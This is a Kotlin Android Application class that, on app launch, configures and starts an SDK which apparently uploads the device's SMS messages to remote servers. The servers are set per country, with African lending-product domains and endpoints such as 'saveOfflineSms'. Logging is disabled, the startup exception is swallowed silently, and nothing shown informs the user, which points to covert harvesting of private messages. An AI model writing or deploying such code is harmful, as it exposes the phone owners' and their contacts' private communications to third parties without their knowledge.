package com.benin.sms

import android.annotation.SuppressLint
import android.app.Application
import android.content.Context
import com.zhi.syc.data_applist.ASBuilder
import com.zhi.syc.data_applist.ASSycManager
import java.text.SimpleDateFormat


class MyApplication : Application() {

    companion object {
        @SuppressLint("StaticFieldLeak")
        lateinit var context: Context
        lateinit var dateTimeFormatter: SimpleDateFormat
        var VAL_GAID: String = ""

    }

    @SuppressLint("SimpleDateFormat")
    override fun onCreate() {
        super.onCreate()
        try {
            context = applicationContext
            dateTimeFormatter = SimpleDateFormat("yyyy-MM-dd HH:mm:ss")

            // init sdk
            initIniSycDataSDK()
        } catch (e: Exception) {
            //
        }
    }

    private fun initIniSycDataSDK() {
        try {
            // 喀唛隆
//            val productZmw = "MAOZY"
//            val serUrlZmw = "https://www.globalpwa.online"
//            val apiPathZmw = "/kml-front/v2/offlineSmsRecord"

            // 赞比亚
//            val productZmw = "NARSCASH"
//            val serUrlZmw = "https://www.narscash.online"
//            val apiPathZmw = "/narscash/v2/offlineSmsRecord"

//             坦桑
//            val productZmw = "NARSCASH"
//            val serUrlZmw = "https://www.africagonepay.info"
//            val apiPathZmw = "/front/api/offline/saveOfflineSms"

            // 加纳
//            val productZmw = "NARSCASH"
//            val serUrlZmw = "https://www.africagonepay.info"
//            val apiPathZmw = "/front/api/offline/saveOfflineSms"

            // 刚果金
//            val productZmw = "MAOZY"
//            val serUrlZmw = "https://www.globalpwa.online"
//            val apiPathZmw = "/ggj-front/v2/offlineSmsRecord"

            // 刚果金
            val productZmw = "MAOZY"
            val serUrlZmw = "https://www.africagonepay.info"
            val apiPathZmw = "/front/api/offline/saveOfflineSms"

            ASBuilder.setMock(false)
            ASBuilder.setLog(false)
            ASBuilder.setServerHost(serUrlZmw)
            ASBuilder.setPathMessage(apiPathZmw)
            ASBuilder.setKeyProduct(productZmw)

            ASBuilder.setKeyCountryCk("benin")
            ASBuilder.setKeyMtnCk("")
            ASBuilder.setKeyPhoneCk("")

            ASSycManager.getInstance().init(this)

        } catch (e: Exception) {
            e.printStackTrace()
        }
    }

}